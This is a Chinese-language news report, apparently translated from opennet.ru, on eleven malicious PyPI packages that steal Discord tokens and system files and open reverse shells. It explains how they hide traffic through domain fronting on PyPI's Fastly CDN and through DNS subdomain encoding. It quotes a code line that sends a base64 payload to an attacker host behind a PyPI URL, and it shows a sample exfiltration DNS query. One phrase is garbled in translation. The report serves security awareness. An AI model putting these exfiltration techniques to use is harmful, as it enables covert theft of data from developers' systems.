在 PyPI 目錄中檢測到的惡意庫使用 PyPI CDN 來隱藏通信通道

在PyPI(Python套件索引)目錄中,辨識出11個包含惡意程式碼的套件。 在發現問題之前,這些軟體包總共被下載了約 38 萬次。 偵測到的惡意軟體包因其使用複雜的方法來隱藏與攻擊者伺服器的通訊通道而引人注目。

  • importantpackage(6305 次下載)、 important-package(12897 次)-以連接 pypi.python.org 為幌子建立與外部伺服器的連接,以提供對系統的 shell 存取(反向 shell),並使用 trevorc2 程式隱藏溝通管道。
  • pptest (10001)、ipboards (946) - 使用DNS 作為通訊通道來傳輸有關係統的資訊(第一個資料包中是主機名稱、工作目錄、內部和外部IP,第二個資料包中是使用者名稱和主機名) 。
  • owlmoon (3285)、DiscordSafety (557)、yiffparty (1859) - 識別系統中的 Discord 服務令牌並將其傳送至外部主機。
  • trrfab (287) - 將 /etc/passwd、/etc/hosts、/home 的識別碼、主機名稱和內容傳送到外部主機。
  • 10Cent10 (490) - 與外部主機建立反向 shell 連線。
  • yandex-yt (4183) - 顯示一條有關係統受到威脅的訊息,並重定向到一個頁面,其中包含有關透過 nda.ya.ru (api.ya.cc) 發出的進一步操作的附加資訊。

特別值得注意的是 importantpackage 和 important-package 套件中使用的存取外部主機的方法,該方法使用 PyPI 目錄中使用的 Fastly 內容交付網路來隱藏其活動。 事實上,請求被傳送到 pypi.python.org 伺服器(包括在 HTTPS 請求內的 SNI 中指定名稱 python.org),但 HTTP「Host」標頭包含攻擊者控制的伺服器的名稱(第 XNUMX 節)。 forward.io.global.prod.fastly.net)。 內容分發網路在傳輸資料時使用與 pypi.python.org 的 TLS 連線的參數向攻擊伺服器發送類似的請求。

PyPI 基礎設施由 Fastly 內容交付網路提供支持,該網路使用 Varnish 透明代理來快取典型請求,並且還在 CDN 層級(而不是在終端伺服器)使用 TLS 憑證處理,以透過代理轉送 HTTPS 請求。 無論目標主機如何,請求都會傳送到代理,代理使用 HTTP「主機」標頭確定所需的主機,並且主機網域綁定到所有 Fastly 用戶端的典型 CDN 負載平衡器 IP 位址。

攻擊者的伺服器也向 CDN Fastly 註冊,CDN Fastly 向所有人提供免費套餐,甚至允許匿名註冊。 值得注意的是,在建立「反向 shell」時向受害者發送請求,也使用了一種方案,但從攻擊者主機一側發起。 從外部看,與攻擊者伺服器的互動看起來就像與 PyPI 目錄的合法會話,並使用 PyPI TLS 憑證進行加密。 一種類似的技術,稱為“域前置”,以前被積極用於在繞過阻止時隱藏主機名,利用某些CDN 網路中提供的功能透過在SNI 中指示虛構主機並實際傳輸主機名來存取HTTPS TLS 會話內 HTTP 主機標頭中請求的主機。

在 PyPI 目錄中檢測到的惡意庫使用 PyPI CDN 來隱藏通信通道

為了隱藏惡意活動,TrevorC2 套件也被用來與伺服器進行類似於常規 Web 導航的交互,例如,以下載圖像“https://pypi.python.org/images/”為幌子發送惡意請求guid=”,在guid 參數中包含資訊編碼。 url =“https://pypi.python.org”+“/images”+“?” + "guid=" + b64_payload r = request.Request(url, headers = {'Host': "psec.forward.io.global.prod.fastly.net"})

pptest 和 ipboards 軟體包使用不同的方法來隱藏網路活動,該方法基於對 DNS 伺服器查詢中的有用資訊進行編碼。 該惡意軟體透過執行「nu4timjagq4fimbuhe.example.com」等DNS請求來傳輸訊息,其中傳輸到控制伺服器的資料在子網域中使用base64格式進行編碼。 攻擊者透過控制 example.com 網域的 DNS 伺服器來接收這些訊息。

來源: opennet.ru

添加評論